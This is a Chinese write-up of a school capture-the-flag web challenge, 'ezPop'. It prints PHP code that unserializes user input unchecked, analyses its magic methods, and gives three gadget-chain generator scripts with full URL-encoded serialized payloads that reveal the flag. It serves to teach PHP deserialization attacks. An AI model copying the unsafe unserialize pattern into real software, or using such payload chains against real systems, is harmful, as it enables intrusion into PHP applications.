[校赛] – Web – ezPop

文章目录

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class Z{
    public $key;

    public function __wakeup(){
        $this -> key = 'nothing';
    }

    public function __destruct(){
        if($this -> key == 'xatu'){
            include('flag.php');
            echo $flag;
        }else{
            die("NO!");
        }
    }
}

class A{
    public $name;
    public $b;

    public function __construct($a,$b){
        $this -> name = $a;
        $this -> b = $b;
    }

    public function hello($a){
        echo "hello!".$a;
    }

    public function __destruct(){
        $this -> b -> hello($this -> name);
    }
}

class B{

    public $obj;

    public function __construct($obj){
        $this -> obj = $obj;
    }
    
    public function hello($name){
        $this -> obj -> $name();
    }

    public function __invoke()
    {
        echo "Oh,You touch me but useless!";
    }
}

class C{
    public $test;

    public function __construct($test){
        $this -> test = $test;
    }

    public function __call($name,$arg){
            echo 'Got :'.$this -> test;
    }
}

class D{
    public $name;

    public function __construct($name){
        $this -> name = $name;
    }

    public function hello($name){
        echo "Welcome to CTF ,".$name;
    }

    public function __toString(){
        if(isset($this -> name) && $this -> name == "xatu"){
            include('flag.php');
            echo $flag;
        }
        return "You Win!";
    }
}

@unserialize($_GET['pop']);

分析

class Z{
    public $key;

    public function __wakeup(){
        $this -> key = 'nothing';
    }

    public function __destruct(){
        if($this -> key == 'xatu'){
            include('flag.php');
            echo $flag;
        }else{
            die("NO!");
        }
    }
}
  • 一个共有属性$key
  • __wakeup()在反序列化前触发,将'nothing'赋给$key
  • __destruct()在对象被销毁时触发,此时如果$key == xatu的时候,包含并运行flag.php,输出$flag
class A{
    public $name;
    public $b;

    public function __construct($a,$b){
        $this -> name = $a;
        $this -> b = $b;
    }

    public function hello($a){
        echo "hello!".$a;
    }

    public function __destruct(){
        $this -> b -> hello($this -> name);
    }
}
  • 两个共有属性:$name$b
  • __construct()在对象实体化时触发,接收传参分别赋给$name$b
  • hello()$a当作字符串输出(可以触发D对象的__toString()方法)
  • __destruct()在对象被销毁时触发,调用b对象的hello()方法并将该对象的name传过去
class B{

    public $obj;

    public function __construct($obj){
        $this -> obj = $obj;
    }
    
    public function hello($name){
        $this -> obj -> $name();
    }

    public function __invoke()
    {
        echo "Oh,You touch me but useless!";
    }
}
  • 一个共有属性$obj
  • __construct()在对象被实体化时触发,将传过来的赋给$obj
  • hello()调用obj对象的$name(),可以触发B类的__invoke()方法
  • __invoke()在对象被当作函数使用时触发,输出一句话,这里需要绕过
class C{
    public $test;

    public function __construct($test){
        $this -> test = $test;
    }

    public function __call($name,$arg){
            echo 'Got :'.$this -> test;
    }
}
  • 一个共有属性$test
  • __construct()在对象被实体化时触发,将值赋给$test
  • __call()当调用该类无法访问的方法时被触发,将该类的test当作字符串输出,可以触发D类的__toString()方法
class D{
    public $name;

    public function __construct($name){
        $this -> name = $name;
    }

    public function hello($name){
        echo "Welcome to CTF ,".$name;
    }

    public function __toString(){
        if(isset($this -> name) && $this -> name == "xatu"){
            include('flag.php');
            echo $flag;
        }
        return "You Win!";
    }
}
  • 一个共有属性$name
  • __construct()在对象被实体化时触发,将值赋给name
  • hello()方法将name当作字符串输出,可以触发该类的__toString()方法
  • __toString()在对象被当作字符串使用时触发,它判断name不为空且弱等于xatu,包含并执行flag.php,输出$falg
  1. 拿flag:D类中的name == "xatu",调用其__toString()
  2. 触发__toString()A类和D类的hello()方法,意味着这两个类中的属性可能为D类的对象
  3. 调用hello()A类的__destruct()方法调用bhello()方法,意味着b属性可能为A类的对象或者D类的对象,name属性为D类的对象

方法一、二:
在这里插入图片描述
方法三:

在这里插入图片描述

payload

  • D 类的 hello 触发
<?php
	class D{
	    public $name = "xatu";
	}
	
	class A{
	    public $name;
	    public $b;
	
	    public function __construct($a, $b){
	        $this -> name = $a;
	        $this -> b = $b;
	    }
	}
	
	$a1 = new D;
	$a2 = new D;
	$a = new A($a1, $a2);
	echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D

  • A 类的 hello 触发
<?php
	class D{
	    public $name = "xatu";
	}
	
	class A{
	    public $name;
	    public $b;
	
	    public function __construct($a, $b){
	        $this -> name = $a;
	        $this -> b = $b;
	    }
	}
	
	$a1 = new D;
	$a2 = new A(1, 1);
	$a = new A($a1, $a2);
	echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D

  • BC类触发
<?php
    class D{
        public $name = "xatu";
    }

    class C{
        public $test;

        public function __construct($c){
            $this -> test = $c;
        }
    }

    class B{
        public $obj;

        public function __construct($b){
            $this -> obj = $b;
        }
    }

    class A{
        public $b;
        //这里的字符串是啥都行
        //为的是触发B类的__call()
        public $name = "fuc";

        public function __construct($a){
            $this -> b = $a;
        }
    }
    $c = new D;
    $b = new C($c);
    $a1 = new B($b);
    $a = new A($a1);
    echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D

最后,给你们看一眼flag,嘻嘻?
在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>